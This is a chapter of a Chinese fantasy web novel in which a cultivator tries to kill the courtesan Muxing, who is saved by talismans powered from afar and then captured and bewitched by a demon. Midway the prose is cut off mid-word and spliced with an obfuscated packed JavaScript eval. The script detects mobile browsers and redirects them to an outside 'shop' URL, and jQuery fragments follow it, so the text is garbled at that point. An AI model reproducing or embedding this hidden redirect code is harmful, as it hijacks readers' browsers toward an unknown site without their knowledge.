16. 晨晓之星

作品:《拼凑你的魂灵gb

    倘若暮星不再想着原先府邸那些事,不再想着他自己到底是公子还是书童,不再念着走出春蝶楼,倘若他安分守己,那连世澄也可以放他一命。


    洗干净脸,他瞥着水盆里漂浮的廉价妆粉,想着适才暮星的激动,心中愈发腾起冷意。


    可惜,暮星自己没有把握住这个机会,是他自己的贪心,害死了他自己。


    连世澄倚靠在树干上,地下的小妖小魔正拉着暮星的腿,将他拖拽进树林深处。


    逃离春蝶楼,却在逃跑的路上遇上深夜蛰伏的妖魔,不幸丢命。


    最近不太平,妖物神出鬼没,对人起了贪念也不少见,这是他为暮星安排的落幕,很适合他这颗只能出现在夜里的星星。


    已经预料到后面会发生的事了,连世澄不甚在意甚至打算慈悲地提前离场。


    可突然,灵气瞬间铺满树林。


    底下的小妖小魔尖叫着逃离暮星周身,不敢靠近,更胆小的已经逃之夭夭,蠢笨的还蛰伏在灵气圈外,一个不小心,便被灵气灼伤。


    连世澄骤然瞪大了眼,他是修行者,围绕在暮星周围的灵气是真是假他一眼便知,可他惊讶就惊讶在,这股灵气竟然是纯正的天地之灵,不仅纯净无暇,更让妖魔四避。


    是符箓,暮星刚刚撕了张符箓。


    猛然捶树,他突然生出一股嫉妒,嫉妒暮星怎么配用这么高阶的符箓,这么高阶的符箓他又从何而来?难不成是李玉秀给的?


    她究竟知不知道自己给出去了什么?不,她普普通通,竟然有缘得到这么好的宝物,还将这种宝物随手给了一个下贱郎倌,他简直恨铁不成钢。


    他本以为她是有实力有脑子的,没想到她竟是个色迷心窍的蠢女人!


    暮星惊魂未定,他还躺在地上,手上紧紧攥着被撕成两半的符。


    干干咽了几下唾沫,他随意扫了一圈,入目便有五六种妖魔,更别说刚刚还逃走了一些,他不敢想,若自己落到这些妖物手中会是何种下场,更不敢想,他们为何会聚在这,就好像是专门等着分食自己。


    “你们......你们为什么要杀我?”


    “为什么呢......你啊......倒霉咯......”


    回答他的是一团飞来飞去的黑雾,嗓音尖细,借着月色隐约可见不成人形。


    暮星也摸清了现在的局面,他刚刚情急之下摸出的符箓让这些妖魔十分忌惮,他们不敢靠近自己,只敢远远等着,也许是等着限制他们的力量消失。


    他紧着嗓子眼缓缓移动,同时又从荷包中摸出一张符。


    李玉秀走的时候没有给他解释每一张的符的作用,他光看符上像树杈子一样的字,也不知每张符是何作用。


    突然有些后悔,他当时没有仔细询问,但比后悔更突然的是,他听见某个方向传来一声破空细鸣。


    手比大脑先反应,他闭上眼,撕开符箓,紧接着便是一声清脆的格挡。


    连世澄瞪着眼简直恨得想杀人。


    他聚灵力在箭簇上,想一箭杀了暮星,可没想到暮星又撕开一张符,偏巧这张符竟是护盾,完美挡下他的暗箭。


    拔剑,暮星今天必须死,他既然将人引了出来就不可能再放任他活着回去。


    剑指滑过剑身,他压眉凝目,心一横,蹬树俯冲,剑指林中人!


    暮星怪不了任何人,他本身就是要死的,只不过因为一副皮囊侥幸活了下来,而现在,自己只不过是让他这条命回到他原本的位置上。


    爬起来拍泥屑,暮星突然感受到后脖子一股阴气,直刺大脑的杀意逼得他浑身僵硬,但双腿仿佛有千斤重,他不知是因为自己恐惧还是被什么术法钉在了原地,竟是一步也跨不出去。


    那股破风声已经出现在了耳后,他缓缓转头,就在此时衣襟突然翻动,一股纯粹的力量由内而外,宛若垮江之龙破体而出。


    他只看见一道亮如白昼的光覆盖整个视野,而后冲击突然降临,他被一股巨大的冲击力直直甩飞,后脑撞上树干,当即便失去了意识。


    百里外,李玉秀盘坐于路边,双指并拢默默施法,指尖流淌出的灵力如星光般忽闪忽暗。


    可突然,她瞬间白了脸色,鼻下流出几滴鲜红,她接下鼻血刚一拧眉,一口血骤然吐出。


    府内压力骤增,十指绷紧蜷曲,她紧闭起眼,撑在膝盖上艰难平复剧烈的灵力波动。


    符箓上并无符咒,她只是随意画了几笔,真正的符咒在她自己身上,而暮星所撕的符只是一条通道,一条可实现他所想的,汲取力量的通道。


    创造此术的人命名为——制神之术,此术全然依赖被汲取者的力量深度,对她现在的身体来说,施展此术,却是这样远的距离,这么短的施法间隔,负荷过大,她只是起身便感到头脑沉闷,甚至眼前一阵黑一阵白。


    但暮星这边的危险还未结束。


    一团裹着只黄色瞳孔的黑气缓缓靠近,落地化出了连夫人的模样。


    这里被强大的灵力席卷过,方圆几里甚至十几里,弱小的妖魔全部被驱逐,不怕死的更是被原地净化,而她是凭借跑得快才躲过一劫。


    这会地上躺了两个人,一个胸口一道血痕,受伤严重的是连世澄,另一个没什么伤只是衣着有些乱,身上还套了层防护结界,是暮星。


    她知道连世澄要杀暮星,只是不知是什么计划,这会一看他伤得这么严重她料定是暮星用了什么手段,便也不敢自己贸然行动,想着将人抓回去再说。


    “娘!你怎么能将人带回来呢!为什么不直接杀了他!”


    连世澄面色虚弱,不甘捶床,连夫人有些心虚,便解释道:“我也不知道怎么杀啊,那会那小子身上有防护界,我怕我动手了要被反噬嘛......”


    “那也不能带回来啊!带回来我怎么解释!难不成让他死在府上吗?”


    这下连夫人也不知道要怎么解释了,她只是一个小魔,还以为要带回来连世澄可以从长计议呢。


    “那我也不懂你们的弯弯绕绕,大不了,我再把他扔回去嘛。”


    “扔哪?现在他相当于逃出楼了怎么可能再回去?城郊那一片的动静,镇妖阁以为是我的手笔,还能扔哪?”


    连夫人甩了甩手,被教训得有些不高兴,干脆撂下一句:“那我不管了。”


    见远处有人的身影走过,暮星缩了脖子躲到柱后,再悄悄探眼。


    透过镂花窗,他认出路过人是连夫人,那想必这里就是连府,他不知道自己是怎么来的这里,但李玉秀说过,连夫人不是人,那昨夜的事,是不是与她有关?


    可他与连夫人实在是无冤无仇,甚至他都没有侍奉过连夫人,连相熟都谈不上,她为何要算计自己呢?


    忽而拧眉,他差点忘记,连府还有一个人,连世澄。


    那个要杀自己但李玉秀没有说出的名字,和连夫人有关,还亲手抓了全爷......连世澄。


    昨夜的信,相仿的年纪,每一次打照面都是若有似无的冷淡和回避,难道,连世澄就是公子吗?


    公子要杀自己吗?


    沿着柱子缓缓下滑,暮星全然没有离开春蝶楼的喜悦,甚至,他说不清自己是什么滋味。


    先是以为自己能摆脱这样的命运,又是被妖魔盯上,醒来却被软禁在这里,还......推测出了如此合理的真相,每一桩每一件都比春蝶楼更让他无助。


    他现在竟然很想回到楼里,很想见李玉秀,她不说连世澄的身份是为了保护他吧,可他还是被盯上了啊。


    抱着膝盖,他蜷缩在角落中,默默盯着稀疏的窗影。


    她能不能来将他带走?他受够了被欺骗被追杀,他就想安稳些过日子,想做一个正大光明的人,为什么所有人都要伤害他?


    好想见她,好想她能在自己身边,好想听她的声音,看她看自己的眼神,好想和她走。


    在春蝶楼能等到,在这里还能等到吗?


    日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977419|193190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    影西斜,屋内外一片昏黄。


    光是暖的,心是凉的,他愈发抱紧了自己,心想有谁或许能送些吃的来,可这份落寞直到夜幕降临,他也没见到一个活人。


    直到,他听见了人声。


    “......姑娘怎么亲自来了......快快入内......”


    “......有了决定,便想着亲口告诉大人......”


    埋进膝盖的脑袋缓缓抬起,脖子有些酸疼,暮星不知道是不是自己冷得出现幻觉了,他怎么会在这听见李玉秀的声音?


    “......皇城来......不远,顺手之事......客气了......”


    愣了片刻,果然是李玉秀的声音。


    他赶忙从地上爬起,可还未站稳,屋内一个黑影又吓得他跌坐在地。


    这个黑影在无声盯着他笑,那一双黄色瞳孔在暗黑中显得尤为显眼。


    是连夫人,不知何时入内又紧紧注视着他的连夫人。


    “连、连夫人?”


    “嘘——”


    她说完这个嘘字,他便感觉喉咙被一只手紧紧扼住,嗓音顿时堵在喉间,虽能张嘴可发不出一丝声音。


    连夫人笑笑:“暮星,你都知道多少啊?”


    “......路途遥远,可要进来坐坐......”


    “不了,无甚大事......”


    庭院内似乎要结束交谈了,暮星内心急切慌张,可他此时却发不出一点声音,若是错过这个机会,他要如何才能再见到李玉秀?


    虚瞟着连夫人,目光看着镂窗,他呼吸急促,血气上涌,心一横,他直接往门上撞。


    “哎呀,这么冲动干什么呀?”


    没有撞上门,没有引起庭院内人的注意,他只感觉吸进了一股奇异又独特的香气,身体四肢仿佛失去了控制权。


    他软趴趴贴在门上,静静注视门外。


    “暮星啊,你不会是指望外面那个李玉秀救你吧?”


    悠远的声音如丝入耳,他忽然间就认不得连夫人了,困倦,疲惫,他顺着连夫人的话语看着院中人,似乎也不大认得外面的人。


    “暮星啊,你知不知道,你是罪奴呢,你啊,是不能被赎身的......”


    不能被赎身?


    “我一定给你赎身,让你入我府上,届时你就是被伺候的......”


    “你等我筹钱,筹够了,我便来赎你出去......”


    “待你办藏珠宴的那日,我将你带离春蝶楼......”


    一些莫名的记忆突然窜上心头,这些人脸,话术仿佛都是一个人,又仿佛有着千百张脸,他晃了晃头,但这一晃反而混杂了这些记忆,而后,这些人,这些话,都有一个共同的名字——李玉秀。


    她说要给自己赎身,但身为罪奴,他只有先消了罪状才能被赎,那她到处奔波筹钱,是在骗他吗?


    “哎,我家澄儿还是挺欣赏这个李玉秀的,你看,他们站在一处也很般配嘛?你们人不是有个词,叫郎才女貌吗?你看,是不是很像这个词?”


    迷迷糊糊抬起眼,月色明明微弱,可在他眼中却无限散发着无限光亮,耀眼到他能清晰看见他们脸上的表情。


    是笑着的,惬意,轻松,自在,她的目光里没有看向自己时那若有似无的怜悯......


    又晃了晃头,怜悯,玩弄,不屑......她是恩客,他和恩客之间不过是逢场作戏......


    “暮星啊,说来你也没伺候过我,不若你就老实待在这吧,还能捡一条命呢。”


    重心突然下移,他什么都来不及反应,肩膀和后脑便磕在了坚硬的石板上。


    意志已经飘飘然离体,他忽然就忘记了自己的存在,也忘记了自己存在的意义。


    一点微弱的光亮虚虚挂在夜空,那是一颗能够被看见的星辰,也许是暮星。


    “暮星和晨星,本就是同一颗。”